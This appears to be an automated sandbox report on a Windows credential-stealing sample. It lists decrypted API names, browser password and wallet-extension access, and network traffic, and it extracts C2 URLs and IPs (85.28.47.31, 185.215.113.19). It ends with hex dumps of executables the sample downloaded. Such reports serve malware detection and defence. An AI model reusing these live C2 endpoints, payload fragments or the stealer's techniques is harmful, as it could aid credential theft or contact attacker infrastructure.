Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: TerminateProcess
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: psapi.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: DeleteObject
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GdiplusStartup
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GdiplusShutdown
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GdipDisposeImage
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GdipFree
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CoUninitialize
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CoInitialize
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CoCreateInstance
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: BCryptDecrypt
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: BCryptSetProperty
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetWindowRect
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetDesktopWindow
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetDC
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CloseWindow
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: wsprintfA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CharToOemW
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: wsprintfW
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: RegQueryValueExA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: RegCloseKey
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: RegEnumValueA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CryptUnprotectData
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: ShellExecuteExA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: InternetConnectA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: InternetCloseHandle
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: InternetOpenA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: HttpSendRequestA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: InternetReadFile
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: StrCmpCA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: StrStrA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: StrCmpCW

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00409BB0 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	0_2_00409BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00418940 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	0_2_00418940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040C660 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_0040C660
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00407280 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00407280
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00409B10 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00409B10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB46C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6CB46C80

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Unpacked PE file: 20.2.7ca32398cd.exe.400000.0.unpack
Source: C:\Users\user\1000003002\5aa32fec17.exe	Unpacked PE file: 23.2.5aa32fec17.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Unpacked PE file: 37.2.7ca32398cd.exe.400000.0.unpack

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49717 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 192.168.2.6:49717 -> 173.222.162.64:443 version: TLS 1.0

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.68:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49901 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:49931 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:49935 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49970 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:49973 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.6:49975 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 143.204.215.18:443 -> 192.168.2.6:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.6:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:58880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:58879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:58877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:58878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:58881 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:58882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:58884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:58885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:59072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.208.16.95:443 -> 192.168.2.6:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50304 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50301 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50303 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50300 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50302 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50305 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50307 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50308 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50309 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:54094 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: gdi32.pdb source: firefox.exe, 00000021.00000003.3399821667.00000169CBCC1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2450595340.000000006CD6F000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: msasn1.pdb source: firefox.exe, 00000021.00000003.3397835645.00000169CD8A1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: xWindows.Security.Integrity.pdb source: firefox.exe, 00000021.00000003.3396520559.00000169D34CE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: pnrpnsp.pdb source: firefox.exe, 00000021.00000003.3397548903.00000169D1B86000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: NapiNSP.pdb source: firefox.exe, 00000021.00000003.3397548903.00000169D1B86000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: nsi.pdb source: firefox.exe, 00000021.00000003.3396520559.00000169D34B6000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: combase.pdb source: firefox.exe, 00000021.00000003.3413206321.00000169CBCF4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: xOneCoreUAPCommonProxyStub.pdb source: firefox.exe, 00000021.00000003.3396520559.00000169D34CE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: UxTheme.pdb@ source: firefox.exe, 00000021.00000003.3412223817.00000169CBD28000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: winrnr.pdb source: firefox.exe, 00000021.00000003.3396520559.00000169D34B6000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2450595340.000000006CD6F000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: imm32.pdb source: firefox.exe, 00000021.00000003.3399821667.00000169CBCC1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3413206321.00000169CBCF4000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040D8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F4F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BCB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_004139B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E270
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00401710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004143F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DC50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	0_2_00414050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040EB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_004133C0

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 270MB

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://85.28.47.31/5499d72b3a3e55be.php
Source: Malware configuration extractor	URLs: http://85.28.47.31silence
Source: Malware configuration extractor	IPs: 185.215.113.19

Source: unknown

Network traffic detected: DNS query count 33

Source: global traffic	TCP traffic: 192.168.2.6:53395 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.6:54028 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.6:58872 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 08:36:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 08:36:12 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 